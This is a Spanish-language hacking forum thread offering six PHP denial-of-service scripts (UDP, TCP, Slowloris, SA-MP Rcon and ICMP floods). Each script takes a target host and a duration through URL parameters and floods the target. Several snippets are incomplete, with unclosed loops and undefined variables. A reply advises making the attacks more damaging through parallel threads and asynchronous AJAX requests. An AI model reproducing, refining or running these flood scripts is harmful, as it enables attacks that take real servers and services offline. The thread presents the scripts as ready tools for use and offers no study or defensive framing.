Metodos de DoS con PHP

Iniciado por ANTRAX, Agosto 25, 2013, 11:59:51 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

UDP:

Código: php
 <?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

   $exec_time = $_GET['time'];

   $time = time();
    $max_time = $time+$exec_time;

   $host = $_GET['host'];

   for($i=0;$i<65000;$i++){
    $out .= 'X';
    }
    while(1){
    $packets++;
    if(time() > $max_time){
    break;
    }
    $rand = rand(1,65000);
    $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
    if($fp){
    fwrite($fp, $out);
    fclose($fp);
    }
?>


UDP Method 2

Código: php
 <?php

$host = $_GET['host'];
set_time_limit(0);
$exec_time = (int)$_GET['time'];
$time = time();
$max_time = $time + $exec_time;

      if(time() > $max_time)

      {

         break;

      }

while(1){

$dataOut = "x08x00x10x26x74x65x73x74";

      if ($_GET['port'] == "rand")

      {

         $rand = rand(1,65535);

      }

      else

      {

         $rand = (int)filter($_GET['port']);

      }

$socket = socket_create(AF_INET, SOCK_DGRAM, UDP);

socket_set_nonblock($socket);

socket_connect($socket, $host, $rand);

@socket_write($socket, $dataOut, strlen($dataOut));

socket_close($socket);}

echo "UDP flood complete after: {$exec_time} seconds";
?>


TCP

Código: php
 <?php
    //TCP
    if(isset($_GET['host'])&&isset($_GET['time'])){
        $packets = 0;
        ignore_user_abort(TRUE);
        set_time_limit(0);
       
        $exec_time = $_GET['time'];
       
        $time = time();
        $max_time = $time+$exec_time;
     
        $host = $_GET['host'];
        $port = $_GET['port'];
       
        for($i=0;$i<65000;$i++){
                $out .= 'X';
        }
        while(1){
        $packets++;
                if(time() > $max_time){
                        break;
                }               
                $fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5);
                if($fp){
                        fwrite($fp, $out);
                        fclose($fp);
                }
    ?>


Slowloris

Código: php
 <?php
$ip = $_GET['ip'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET['time'];
$time = time();
$max_time = $time+$exec_time;

while(1){
  if(time() > $max_time){
    break;
  }

  $fp = fsockopen($ip, 80, $errno, $errstr, 140);
  if (!$fp) {
    echo "$errstr ($errno)<br />\n";
  } else {
    $out = "POST / HTTP/1.1\r\n";
    $out .= "Host: $ip\r\n";
    $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
    $out .= "Content-Length: 42\r\n\r\n";

    fwrite($fp, $out);
}
}
echo "Slowloris flood complete after: $exec_time seconds\n";
?>


SA-MP Rcon Flood

Código: php
 <?php
if(isset($_GET['host'])&&isset($_GET['port'])&&isset($_GET['time'])){
    $packets = 0;
    $fakepass = "4azr46a";
    $fakecmd = "exit";
    $sPacket = ""; 
    ignore_user_abort(TRUE);
    set_time_limit(0);
   
    $exec_time = $_GET['time'];   
    $time = time();
    $max_time = $time+$exec_time;
    $host = $_GET['host'];   
    $port = $_GET['port'];   
   
    $aIPAddr = explode('.', $host);
    $sPacket .= "SAMP";

    $sPacket .= chr($aIPAddr[0]);
    $sPacket .= chr($aIPAddr[1]);
    $sPacket .= chr($aIPAddr[2]);
    $sPacket .= chr($aIPAddr[3]);

    $sPacket .= chr($port & 0xFF);
    $sPacket .= chr($port >> 8 & 0xFF);

    $sPacket .= 'x';
   
    $sPacket .= chr(strlen($fakepass) & 0xFF);
    $sPacket .= chr(strlen($fakepass) >> 8 & 0xFF);
    $sPacket .= $fakepass;
    $sPacket .= chr(strlen($fakecmd) & 0xFF);
    $sPacket .= chr(strlen($fakecmd) >> 8 & 0xFF);
    $sPacket .= $fakecmd;
   
    while(1){
    $packets++;
            if(time() > $max_time){
                    break;
            }
            //$rand = rand(1,65000);
            $fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 2);
            fwrite($fp, $sPacket);
            if($fp){
                    fwrite($rSocket, $sPacket);
                    fclose($fp);
            }
?>


ICMP

Código: php
 <?php

$host = $_GET['host'];
set_time_limit(0);
$exec_time = $_GET['time'];
$time = time();
$max_time = $time + $exec_time;

      if(time() > $max_time)

      {

         break;

      }

while(1){
// 08 (ECHO), 00 (No Code), 10 26 (Checksum), 74 65 73 74 (The data: "test")
$dataOut = "x08x00x10x26x74x65x73x74";

// Raw socket, ICMP protocol
$socket = socket_create(AF_INET, SOCK_RAW, 1);

// Non blocking as in the actual script it is many sockets to different machines
socket_set_nonblock($socket);

// Connect to local machine (or any machine)
socket_connect($socket, $host, null);

// Send $dataOut
@socket_write($socket, $dataOut, strlen($dataOut));

// Close socket
socket_close($socket);}

echo "ICMP flood complete after: {$exec_time} seconds";
?>


El autor original de los codigos es: io.kent

Saludos!
ANTRAX


Hola, se ven buenos pero todos son sincronicos, eso quiere decir que envia los paquetes uno por uno y eso no le hace daño a nadie, lo que si podría servir es hacer hilos de proceso con php ( You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login ), eso quiere decir enviar sus 100 paquetes simultaneos por segundo, eso si podría resultar.

Lo otro sería sin utilizar pecl utilizando ajax haciendo peticiones asincronicas, o sea hacer de 50 en 50 peticiones cada 1 segundo al archivo php pero puede correr el riesgo de que el servidor local colapse debido a que habrán demasiadas peticiones sin terminar, de alguna manera habría que controlar que se envien 50 conecciones y que cada ves que se desconecte una que lo vuelva a reconectar de manera automatica, eso si sería muy dañino y sin utilizar los famosos iframes que al final terminan consumiendo muchisima cpu.

También podrian hacerse ataques via ajax solicitando cabeceras de tipo json o xml debido a la politica de sitios cruzados de los navegadores, esta petición se abortará una ves terminada la solicitud asi que alcanzará de todas maneras a realizar el ataque sin problemas.
- You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login - You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login